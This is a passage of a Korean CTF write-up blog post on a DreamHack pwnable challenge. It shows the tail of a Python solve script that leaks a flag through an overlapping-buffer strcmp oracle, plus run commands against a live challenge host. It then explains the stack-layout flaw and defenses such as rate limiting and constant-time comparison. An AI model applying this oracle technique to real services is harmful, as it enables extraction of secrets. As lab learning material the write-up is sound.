            if found is not None:
                break
        if found is None:
            raise RuntimeError(f"{pos}๋ฒˆ์งธ ๋ฌธ์ž ๋ณต์› ์‹คํŒจ")
        known = bytes([found]) + known
        if verbose:
            shown = known.replace(b"\n", b"\\n").decode("latin1")
            print(f"  [{pos:2d}] {shown}", flush=True)
    return known
 
 
def main():
    ap = argparse.ArgumentParser()
    ap.add_argument("--local", metavar="BIN", help="๋กœ์ปฌ ๋ฐ”์ด๋„ˆ๋ฆฌ ๊ฒฝ๋กœ๋กœ ๊ฒ€์ฆ")
    ap.add_argument("--remote", metavar="HOST:PORT", help="์›๊ฒฉ ์„œ๋น„์Šค")
    ap.add_argument("--workers", type=int, default=8)
    args = ap.parse_args()
 
    if args.local:
        io, workers = Local(args.local), args.workers
    else:
        host, port = args.remote.rsplit(":", 1)
        io, workers = Remote(host, int(port)), args.workers
 
    length = find_length(io, workers)
    print(f"[+] ๋ฉ”๋ชจ๋ฆฌ์ƒ flag ๋ฌธ์ž์—ด ๊ธธ์ด = {length}")
    flag = leak(io, length, workers)
    print(f"[+] FLAG = {flag.decode('latin1').strip()}")
 
 
if __name__ == "__main__":
    main()

์‹คํ–‰์€ ์ด๋ ‡๊ฒŒ ํ•œ๋‹ค. ๋กœ์ปฌ์€ ๋ฐ˜๋“œ์‹œ local/ ์•ˆ์—์„œ ๋Œ๋ ค์•ผ ํ•œ๋‹ค โ€” ๋ฐ”์ด๋„ˆ๋ฆฌ๊ฐ€ CWD ์˜ flag ํŒŒ์ผ์„ ์—ด๊ธฐ ๋•Œ๋ฌธ์—, ๋ฐ–์—์„œ ๋Œ๋ฆฌ๋ฉด fopen ์ด NULL ์„ ๋ฐ›์•„ ์กฐ๊ธฐ ์ข…๋ฃŒํ•˜๊ณ  "๊ธธ์ด ํŒ๋ณ„ ์‹คํŒจ" ๋งŒ ๋‚œ๋‹ค. ๊ธฐ๋ณธ๊ฐ’์ด ๊ณง ์‹คํŒจ๊ฐ’์ธ ์…ˆ์ด๋ผ ์ฒ˜์Œ์— ์—ฌ๊ธฐ์„œ ํ•œ ๋ฒˆ ํ—ค๋งธ๋‹ค.

cd local && python3 ../solve.py --local ./checkflag          # ๊ฐ€์งœ flag ๋กœ ๊ธฐ๋ฒ• ๊ฒ€์ฆ
python3 solve.py --remote host3.dreamhack.games:15870 --workers 8   # ๋ผ์ด๋ธŒ

6. ์™œ ์ด ๊ตฌ์กฐ๊ฐ€ ์ทจ์•ฝํ•œ๊ฐ€

๋ฌธ์ œ๋ฅผ ๋– ๋‚˜ ์ฝ”๋“œ ๊ด€์ ์—์„œ ์ •๋ฆฌํ•ด ๋‘”๋‹ค.

๊ฐ™์€ ๋ฒ„ํผ๋ฅผ ๋‘ ์šฉ๋„๋กœ ์“ฐ๋ฉด ์•ˆ ๋œ๋‹ค. ์ด ํ”„๋กœ๊ทธ๋žจ์˜ ์‹ค์ˆ˜๋Š” ๋”ฑ ํ•˜๋‚˜, ๋น„๋ฐ€(flag)๊ณผ ์‹ ๋ขฐํ•  ์ˆ˜ ์—†๋Š” ์ž…๋ ฅ์„ ์ธ์ ‘ํ•œ ๊ฐ™์€ ์Šคํƒ ์˜์—ญ์— ๋†“์€ ๊ฒƒ์ด๋‹ค. char buf[200] ํ•˜๋‚˜๋ฅผ ์žก์•„ ์•ž์€ ์ž…๋ ฅ, +0x40 ๋ถ€ํ„ฐ๋Š” flag ๋กœ ์“ฐ๋Š” ์‹์ด๋ฉด ์ •ํ™•ํžˆ ์ด ์ฝ”๋“œ๊ฐ€ ๋œ๋‹ค. ๋น„๋ฐ€์€ ๋ณ„๋„ ๋ฒ„ํผ์—, ๊ฐ€๋Šฅํ•˜๋ฉด ์ž…๋ ฅ ๋ฒ„ํผ์™€ ๋ฉ€๋ฆฌ ๋–จ์–ด๋œจ๋ ค์•ผ ํ•œ๋‹ค.

์ž…๋ ฅ ๊ธธ์ด๋Š” "๋ฐ›์„ ์ˆ˜ ์žˆ๋Š” ์ตœ๋Œ€"๊ฐ€ ์•„๋‹ˆ๋ผ "๋ฐ›์•„์•ผ ํ•˜๋Š” ์ตœ๋Œ€"๋กœ ์žก๋Š”๋‹ค. flag ๊ฐ€ ์ตœ๋Œ€ 0x40 ๋ฐ”์ดํŠธ์ธ๋ฐ ์ž…๋ ฅ์„ 0xc8 ๋ฐ”์ดํŠธ๋‚˜ ๋ฐ›์„ ์ด์œ ๊ฐ€ ์—†๋‹ค. read(0, buf, 0x40) ์ด์—ˆ๋‹ค๋ฉด ๊ฒน์นจ ์ž์ฒด๊ฐ€ ์„ฑ๋ฆฝํ•˜์ง€ ์•Š๋Š”๋‹ค.

๋น„๊ต ๊ฒฐ๊ณผ ํ•œ ๋น„ํŠธ๋„ ์ •๋ณด๋‹ค. ์ด ๋ฌธ์ œ์—๋Š” ๋ฆฌํฌ๊ฐ€ ์—†๋‹ค. Correct! / Failed ๋‘ ๊ฐˆ๋ž˜๋ฟ์ธ๋ฐ, ๊ทธ ํ•œ ๋น„ํŠธ๋ฅผ ๋‚ด๊ฐ€ ํ†ต์ œํ•˜๋Š” ์กฐ๊ฑด ์•„๋ž˜์—์„œ ๋ฐ˜๋ณต ์งˆ์˜ํ•  ์ˆ˜ ์žˆ์—ˆ๊ธฐ ๋•Œ๋ฌธ์— flag ์ „์ฒด๊ฐ€ ์ƒˆ์–ด ๋‚˜์™”๋‹ค. ๋น„๋ฐ€๋ฒˆํ˜ธยทํ† ํฐ ๋น„๊ต์—์„œ ์‹œ๋„ ํšŸ์ˆ˜ ์ œํ•œ์ด๋‚˜ ์ƒ์ˆ˜ ์‹œ๊ฐ„ ๋น„๊ต(hmac.compare_digest ๋ฅ˜)๋ฅผ ๋‘๋Š” ์ด์œ ๊ฐ€ ์ด๊ฒƒ์ด๋‹ค. ์ด ์„œ๋ฒ„๋Š” ์ ‘์† ์ œํ•œ๋„, ์‹œ๋„ ํšŸ์ˆ˜ ์ œํ•œ๋„ ์—†์—ˆ๋‹ค.

์ด๊ฑด ์‚ฌ์ด๋“œ์ฑ„๋„์ด๋‹ค. ํƒ€์ด๋ฐ์ด๋‚˜ ์ „๋ ฅ ๊ฐ™์€ ๋ฌผ๋ฆฌ๋Ÿ‰์ด ์•„๋‹ˆ๋ผ ํ”„๋กœ๊ทธ๋žจ์ด ์Šค์Šค๋กœ ๋ฑ‰๋Š” ์„ฑ๊ณต/์‹คํŒจ ํ•œ ๋น„ํŠธ๋ฅผ ์“ด๋‹ค๋Š” ์ ๋งŒ ๋‹ค๋ฅด์ง€, ๊ตฌ์กฐ๋Š” ๋˜‘๊ฐ™๋‹ค. ๋น„๋ฐ€์„ ์ง์ ‘ ์ฝ์ง€ ์•Š๊ณ  ๋น„๋ฐ€์— ์˜์กดํ•˜๋Š” ๊ด€์ธก ๊ฐ€๋Šฅํ•œ ๊ฐ’์„ ๋ฐ˜๋ณตํ•ด์„œ ๋ชจ์•„ ๋ณต์›ํ•œ๋‹ค.

๊ฐ™์€ ํ˜•ํƒœ๋ฅผ ์‹ค๋ฌด์—์„œ ์ž์ฃผ ๋งŒ๋‚œ๋‹ค.

์ด๋ฆ„๊ด€์ธกํ•˜๋Š” ๊ฒƒ๋ณต์›ํ•˜๋Š” ๊ฒƒ
ํŒจ๋”ฉ ์˜ค๋ผํด๋ณตํ˜ธ ์„ฑ๊ณต/ํŒจ๋”ฉ ์˜ค๋ฅ˜์•”ํ˜ธ๋ฌธ ํ‰๋ฌธ
๋ธ”๋ผ์ธ๋“œ SQL ์ธ์ ์…˜์ฐธ/๊ฑฐ์ง“ ์‘๋‹ต ์ฐจ์ดDB ๋‚ด์šฉ
ํƒ€์ด๋ฐ ๊ณต๊ฒฉ๋น„๊ต์— ๊ฑธ๋ฆฐ ์‹œ๊ฐ„๋น„๋ฐ€๋ฒˆํ˜ธยทํ† ํฐ
์ด ๋ฌธ์ œCorrect!/Failedflag

๋ฐฉ์–ด๋„ ๊ฐ™์€ ๊ณ„์—ด์ด๋‹ค. ๋น„๋ฐ€์ด ๊ด€์ธก๊ฐ’์— ์˜ํ–ฅ์„ ์ฃผ๋Š” ๊ฒฝ๋กœ๋ฅผ ๋Š๊ฑฐ๋‚˜, ๊ด€์ธก ํšŸ์ˆ˜๋ฅผ ์ œํ•œํ•œ๋‹ค. ์ „์ž๊ฐ€ ์ƒ์ˆ˜ ์‹œ๊ฐ„ ๋น„๊ต์ด๊ณ  ํ›„์ž๊ฐ€ ์‹œ๋„ ํšŸ์ˆ˜ ์ œํ•œ์ด๋‹ค. ์ด ์„œ๋ฒ„๋Š” ๋‘˜ ๋‹ค ์—†์—ˆ๋‹ค.

๊ธธ์ด ๊ฒ€์‚ฌ๊ฐ€ ๋ฐฉ์–ด๊ฐ€ ๋˜์ง€ ๋ชปํ–ˆ๋‹ค. strlen(flag) > ์ž…๋ ฅ๊ธธ์ด ๋ฉด Failed ๋กœ ๋Š๋Š” ์ฝ”๋“œ๊ฐ€ ์žˆ๋Š”๋ฐ, ์šฐ๋ฆฌ๋Š” ํ•ญ์ƒ flag ๋ณด๋‹ค ๊ธด 0x40+d ๋ฅผ ๋ณด๋‚ด๋ฏ€๋กœ ํ•œ ๋ฒˆ๋„ ๊ฑธ๋ฆฌ์ง€ ์•Š๋Š”๋‹ค. ๋ฐฉ์–ด์ฒ˜๋Ÿผ ๋ณด์ด์ง€๋งŒ ๊ณต๊ฒฉ ๊ฒฝ๋กœ๋ฅผ ์ „ํ˜€ ๋ง‰์ง€ ๋ชปํ•˜๋Š” ๊ฒ€์‚ฌ๋‹ค.

7. ์ด๋ฒˆ์— ๋ฐฐ์šด ๊ฒƒ

"๋ฆฌํฌ๊ฐ€ ์—†๋‹ค"์™€ "์ •๋ณด๊ฐ€ ์—†๋‹ค"๋Š” ๋‹ค๋ฅด๋‹ค. ์ฒ˜์Œ ์ด ๋ฌธ์ œ๋ฅผ ๋ดค์„ ๋•Œ ๋“  ์ƒ๊ฐ์€ "์ถœ๋ ฅ์ด ๋‘ ๊ฐˆ๋ž˜๋ฟ์ธ๋ฐ ๋ญ˜ ํ•  ์ˆ˜ ์žˆ๋‚˜" ์˜€๋‹ค. ๊ทธ๋Ÿฐ๋ฐ ๊ทธ ํ•œ ๋น„ํŠธ๋ฅผ ๋‚ด๊ฐ€ ์กฐ๊ฑด์„ ํ†ต์ œํ•˜๋ฉด์„œ ๋ฐ˜๋ณตํ•ด ๋ฌผ์–ด๋ณผ ์ˆ˜ ์žˆ๋‹ค๋ฉด ์–˜๊ธฐ๊ฐ€ ๋‹ฌ๋ผ์ง„๋‹ค. ์ถœ๋ ฅ ์ฑ„๋„์˜ ํญ์ด ์•„๋‹ˆ๋ผ ์งˆ์˜ ํšŸ์ˆ˜ ร— ํ†ต์ œ ๊ฐ€๋Šฅ์„ฑ์ด ์‹ค์ œ ์ •๋ณด๋Ÿ‰์„ ์ •ํ•œ๋‹ค.

์ •์  ๋ถ„์„์˜ ๊ฒฐ๋ก ์€ ๋Ÿฐํƒ€์ž„์œผ๋กœ ํ•œ ๋ฒˆ ๋ฐ›์•„ ๋ณธ๋‹ค. lea rbp,[rbx+0x40] ์„ ๋ณด๊ณ  "๊ฒน์น˜๊ฒ ๋„ค" ํ•˜๋Š” ๊ฒƒ๊ณผ, gdb ๋กœ rsi-rdi = 0x40 ์„ ์ฐ๊ณ  flag ์•ž 4๋ฐ”์ดํŠธ๊ฐ€ ์‹ค์ œ๋กœ AAAA ๋กœ ๋ฐ”๋€ ๊ฑธ ๋ณด๋Š” ๊ฒƒ์€ ํ™•์‹ ์˜ ๋ฌด๊ฒŒ๊ฐ€ ๋‹ค๋ฅด๋‹ค. ์ต์Šค๋ฅผ ์งœ๊ธฐ ์ „์— 30์ดˆ๋ฉด ๋˜๋Š” ํ™•์ธ์ด๊ณ , ํ‹€๋ ธ๋‹ค๋ฉด ๊ฑฐ๊ธฐ์„œ ๋ฉˆ์ถœ ์ˆ˜ ์žˆ๋‹ค.

๋ฉ”๋ชจ๋ฆฌ์— ์žˆ๋Š” ๋ฌธ์ž์—ด์€ ํŒŒ์ผ ๋‚ด์šฉ๊ณผ ๋‹ค๋ฅด๋‹ค. fgets ์˜ ๊ฐœํ–‰ ํ•˜๋‚˜ ๋•Œ๋ฌธ์— ๋กœ์ปฌ์€ 39, ์›๊ฒฉ์€ 16์ด ๋‚˜์™”๋‹ค. ๋ฌธ์ œ ์„ค๋ช…์ด "์ถœ๋ ฅ ๊ฐ€๋Šฅํ•œ ASCII"๋ผ๊ณ  ํ–ˆ์–ด๋„ ๊ทธ๊ฑด flag ๊ฐ’์˜ ์ด์•ผ๊ธฐ์ง€ ๋ฉ”๋ชจ๋ฆฌ์— ์ ์žฌ๋œ ๋ฌธ์ž์—ด์˜ ์ด์•ผ๊ธฐ๊ฐ€ ์•„๋‹ˆ๋‹ค. ์ด๋Ÿฐ ์ข…๋ฅ˜์˜ ๋ฌธ์ œ์—์„œ๋Š” ํ›„๋ณด ๋ฌธ์ž์…‹์„ ์„ค๋ช…๋ณด๋‹ค ํ•œ ์นธ ๋„“๊ฒŒ ์žก์•„ ๋‘๋Š” ํŽธ์ด ์•ˆ์ „ํ•˜๋‹ค.


์ •๋ฆฌ

  • main ์ด ์ž…๋ ฅ ๋ฒ„ํผ(rsp)์™€ flag ๋ฒ„ํผ(rsp+0x40)๋ฅผ ๊ฐ™์€ 200๋ฐ”์ดํŠธ ์Šคํƒ ์˜์—ญ์— ๋†“๋Š”๋‹ค
  • read ๋Š” 0xc8 ๋ฐ”์ดํŠธ๋ฅผ ๋ฐ›์œผ๋ฏ€๋กœ 0x40+d ๋ฅผ ๋ณด๋‚ด๋ฉด flag ์•ž d ๊ธ€์ž๊ฐ€ ๋‚ด ๋ฐ”์ดํŠธ๋กœ ๋ฎ์ธ๋‹ค
  • ๋ฎ์€ ๊ฐ’์„ ์•„๋Š” ์ƒํƒœ์˜ strcmp ๋Š” "flag ์˜ ๋‚จ์€ ๋’ท๋ถ€๋ถ„์ด ์ด๊ฑฐ ๋งž์•„?" ์˜ค๋ผํด์ด ๋œ๋‹ค
  • ๋นˆ ์ถ”์ธก์ด ์ฒ˜์Œ ํ†ต๊ณผํ•˜๋Š” d ๊ฐ€ ๊ณง ๋ฉ”๋ชจ๋ฆฌ์ƒ flag ๊ธธ์ด (๋กœ์ปฌ 39 / ์›๊ฒฉ 16)
  • fgets ๋Š” ๊ฐœํ–‰์„ ๋‚จ๊ธด๋‹ค โ€” CHARSET ์— 0x0a ๋ฅผ ๋„ฃ์–ด ๋‘์ง€ ์•Š์œผ๋ฉด ๋งˆ์ง€๋ง‰ ๊ธ€์ž์—์„œ ๋ง‰ํžŒ๋‹ค

์ด ๊ธ€์ด ๋„์›€์ด ๋๋‚˜์š”?

Comments

๋Œ“๊ธ€

0๊ฐœ

๋Œ“๊ธ€์„ ๋‚จ๊ธฐ๋ ค๋ฉด ๋กœ๊ทธ์ธ์ด ํ•„์š”ํ•ด์š”. (๋„ค์ด๋ฒ„ ยท ๊ตฌ๊ธ€ ๊ณ„์ •)

๋Œ“๊ธ€ ๋ถˆ๋Ÿฌ์˜ค๋Š” ์ค‘โ€ฆ

Related

๊ด€๋ จ ๊ธ€

3๊ฐœ
[๐Ÿฅ‰ Bronze 4] strncmp(18) ๋ถ€๋ถ„๋น„๊ต + ์‹œ๊ฐ„๊ธฐ๋ฐ˜ ํ† ํฐ โ€” DreamHack angry_darim ํ’€์ด
blog

[๐Ÿฅ‰ Bronze 4] strncmp(18) ๋ถ€๋ถ„๋น„๊ต + ์‹œ๊ฐ„๊ธฐ๋ฐ˜ ํ† ํฐ โ€” DreamHack angry_darim ํ’€์ด

time()์œผ๋กœ ๋งค์ดˆ ๋ฐ”๋€Œ๋Š” "๋™์  ํ† ํฐ"์„ strncmp๋กœ ๋”ฑ 18๋ฐ”์ดํŠธ๋งŒ ๋น„๊ตํ•˜๋Š” ๋ฐ”์ด๋„ˆ๋ฆฌ. ๋กœ์ปฌ์—์„œ๋Š” ์‹คํ–‰ ์ˆœ๊ฐ„์˜ epoch๋ฅผ ๊ทธ๋Œ€๋กœ ๋„ฃ์–ด ์šฐํšŒํ•˜์ง€๋งŒ, ์ •์ž‘ DreamHack์— ๋‚ด๋Š” flag๋Š” ๊ทธ ์‹œ๊ฐ„ ์š”์†Œ๋ฅผ ํ†ต์งธ๋กœ ๋“ค์–ด๋‚ด์•ผ ํ•˜๋Š” ์ •์  ๋ฌธ์ž์—ด์ด์—ˆ๋‹ค.
#dreamhack#ctf#pwnable+5
2026-07-19#dreamhack +6
[๐Ÿฅ‰ Bronze 2] ์Šคํƒฏ ์ฐฝ์— ๋ชฉํ‘œ๊ฐ’์ด ํ†ต์งธ๋กœ ์ ํ˜€ ์žˆ์—ˆ๋‹ค โ€” DreamHack dungeon-in-1983 ํ’€์ด
blog

[๐Ÿฅ‰ Bronze 2] ์Šคํƒฏ ์ฐฝ์— ๋ชฉํ‘œ๊ฐ’์ด ํ†ต์งธ๋กœ ์ ํ˜€ ์žˆ์—ˆ๋‹ค โ€” DreamHack dungeon-in-1983 ํ’€์ด

์Šคํ…Œ์ด์ง€๋งˆ๋‹ค /dev/urandom ์—์„œ ๋ฝ‘์€ 64๋น„ํŠธ ๋‚œ์ˆ˜๋ฅผ ๋งž์ถฐ์•ผ ํ•˜๋Š”๋ฐ, ๋ชฌ์Šคํ„ฐ ์Šคํƒฏ 7๊ฐœ๊ฐ€ ๊ทธ ๋‚œ์ˆ˜๋ฅผ ๋ฐ”์ดํŠธ ๋‹จ์œ„๋กœ ์ชผ๊ฐœ ๊ทธ๋Œ€๋กœ ์ถœ๋ ฅํ•ด ์ค€๋‹ค. ๋˜์กฐ๋ฆฝํ•œ ๊ฐ’์„ A(+1)ยทB(x2) ๋‘ ๋ฒ„ํŠผ์œผ๋กœ ๋งŒ๋“ค๋ฉด ๋˜๊ณ , ์—ฐ์† A ๊ธˆ์ง€ ๊ทœ์น™ ๋•Œ๋ฌธ์— ๋‹ต์€ ์ž์—ฐํžˆ ์ด์ง„ ์ „๊ฐœ๊ฐ€ ๋œ๋‹ค.
#dreamhack#ctf#reversing+4
2026-08-12#dreamhack +5
[๐Ÿฅ‰ Bronze 2] ์“ด ๊ฐ’์ด ๋‹ค์Œ ์“ฐ๊ธฐ ์ฃผ์†Œ๊ฐ€ ๋œ๋‹ค โ€” DreamHack p_rho ํ’€์ด
blog

[๐Ÿฅ‰ Bronze 2] ์“ด ๊ฐ’์ด ๋‹ค์Œ ์“ฐ๊ธฐ ์ฃผ์†Œ๊ฐ€ ๋œ๋‹ค โ€” DreamHack p_rho ํ’€์ด

์ˆซ์ž๋ฅผ ํ•˜๋‚˜ ๋„ฃ์œผ๋ฉด ๋ฐฐ์—ด์— ์ €์žฅํ•˜๊ณ , ๊ทธ ๊ฐ’์„ ๊ทธ๋Œ€๋กœ ๋‹ค์Œ ์ธ๋ฑ์Šค๋กœ ์‚ผ๋Š” ๋ฌดํ•œ ๋ฃจํ”„. ์ž„์˜ ์ฃผ์†Œ ์“ฐ๊ธฐ์ธ๋ฐ ์ฃผ์†Œ๋ฅผ ์ง์ ‘ ๋ชป ๊ณ ๋ฅด๊ณ  "์ง์ „์— ์“ด ๊ฐ’"์ด ์ •ํ•œ๋‹ค๋Š” ์ œ์•ฝ์ด ๋ถ™๋Š”๋‹ค. buf ๋ฅผ ์›์ ์œผ๋กœ ๋ณด๋ฉด GOT ๊ฐ€ ์Œ์ˆ˜ ์ธ๋ฑ์Šค์— ์žˆ๊ณ , Partial RELRO ๋ผ ์ž ๊ฒจ ์žˆ์ง€๋„ ์•Š๋‹ค. ์ •์ˆ˜ ๋‘ ๊ฐœ๋กœ printf@got ๋ฅผ win ์œผ๋กœ ๋ฎ์–ด ์…ธ์„ ์žก์•˜๋‹ค.
#dreamhack#ctf#pwnable+6
2026-08-12#dreamhack +5